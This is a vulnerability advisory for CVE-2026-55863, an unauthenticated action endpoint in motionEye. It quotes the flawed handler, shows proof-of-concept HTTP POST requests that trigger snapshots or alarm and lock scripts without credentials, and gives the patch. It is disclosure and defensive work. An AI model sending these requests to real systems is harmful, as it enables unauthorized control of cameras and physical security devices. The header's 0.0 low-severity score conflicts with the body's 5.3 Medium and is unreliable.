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CVE-2026-55863 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
The ActionHandler.post() method in motionEye has no authentication decorator, allowing any unauthenticated attacker to trigger camera actions including snapshots, recording start/stop, and configured action scripts (PTZ controls, alarm triggers, etc.).
File: motioneye/handlers/action.py — ActionHandler.post() line 36
CWE: CWE-862 — Missing Authorization
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N = 5.3 Medium
class ActionHandler(BaseHandler):
async def post(self, camera_id, action): # ← NO @BaseHandler.auth() decorator
camera_id = int(camera_id)
if camera_id not in config.get_camera_ids():
raise HTTPError(404, 'no such camera')
...
if action == 'snapshot':
await self.snapshot(camera_id) # executed without auth
return
elif action == 'record_start':
return self.record_start(camera_id)
elif action == 'record_stop':
return self.record_stop(camera_id)
action_commands = config.get_action_commands(local_config)
command = action_commands.get(action)
...
self.run_command_bg(command) # executes predefined shell scripts
Compare with other handlers that correctly require authentication:
@BaseHandler.auth(admin=True) # ← properly protected
async def delete(self, camera_id, filename):
...
POST /action/1/snapshot HTTP/1.1
Host: motioneye-host:8765
Content-Length: 0
{} (HTTP 200) response — snapshot triggered without any credentialsFor action scripts (lock, unlock, alarm_on, alarm_off, light_on, etc.):
POST /action/1/alarm_on HTTP/1.1
Host: motioneye-host:8765
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Dynamically confirmed on v0.43.1 in Docker lab — POST /action/2/snapshot with no credentials returns HTTP 200 {}. Server log shows the action was processed (failed only because motion daemon was not running for the test camera, not due to an auth rejection).
class ActionHandler(BaseHandler):
@BaseHandler.auth() # add authentication requirement
async def post(self, camera_id, action):
...